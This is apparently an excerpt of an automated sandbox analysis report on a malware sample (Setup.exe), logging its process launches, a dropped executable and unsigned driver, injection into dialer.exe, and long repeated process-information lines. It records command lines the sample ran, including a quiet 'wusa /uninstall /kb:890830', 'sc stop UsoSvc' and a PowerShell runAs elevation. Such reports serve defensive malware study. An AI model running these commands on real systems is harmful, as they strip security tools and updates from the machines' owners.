Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe

Key opened: HKEY_USERS.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified

Source: MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip

Static file information: File size 4442123 > 1048576

Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSYSTE source: svchost.exe, 00000057.00000002.2504659405.0000029D50218000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000000.1495352991.0000029D50213000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58318b source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: _prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2* source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb\* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\acrobat_sbx.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctA360.tmp.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb001\* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: jnxsifnrdetl.exe, 00000035.00000003.1466293932.0000026FC3DC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2AC2 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000057.00000002.2581903644.0000029D50263000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000000.1496050809.0000029D5025A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831-B09 source: svchost.exe, 00000057.00000000.1495847365.0000029D50240000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2554443428.0000029D5024B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbll source: svchost.exe, 00000057.00000000.1495639134.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000057.00000002.2529023695.0000029D5022B000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs			Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 81_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

81_2_00000001408460F0

Source: jnxsifnrdetl.exe.17.dr

Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Code function: 3_2_000000343D8FF418 push eax; iretd	3_2_000000343D8FF63A
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Code function: 17_2_000000EE88D8F238 push eax; iretd	17_2_000000EE88D8F26A
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Code function: 53_2_000000C7CB98F133 push eax; iretd	53_2_000000C7CB98F14A
Source: C:\Windows\System32\dialer.exe	Code function: 80_2_0000000140001394 push qword ptr [0000000140009004h]; ret	80_2_0000000140001403
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_000002809239C6DD push rcx; retf 003Fh	131_2_000002809239C6DE

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

File created: C:\Windows\TEMP\sidneyeifgjd.sys

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	File created: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe			Jump to dropped file
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	File created: C:\Windows\Temp\sidneyeifgjd.sys			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

File created: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

Jump to dropped file

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

File created: C:\Windows\Temp\sidneyeifgjd.sys

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
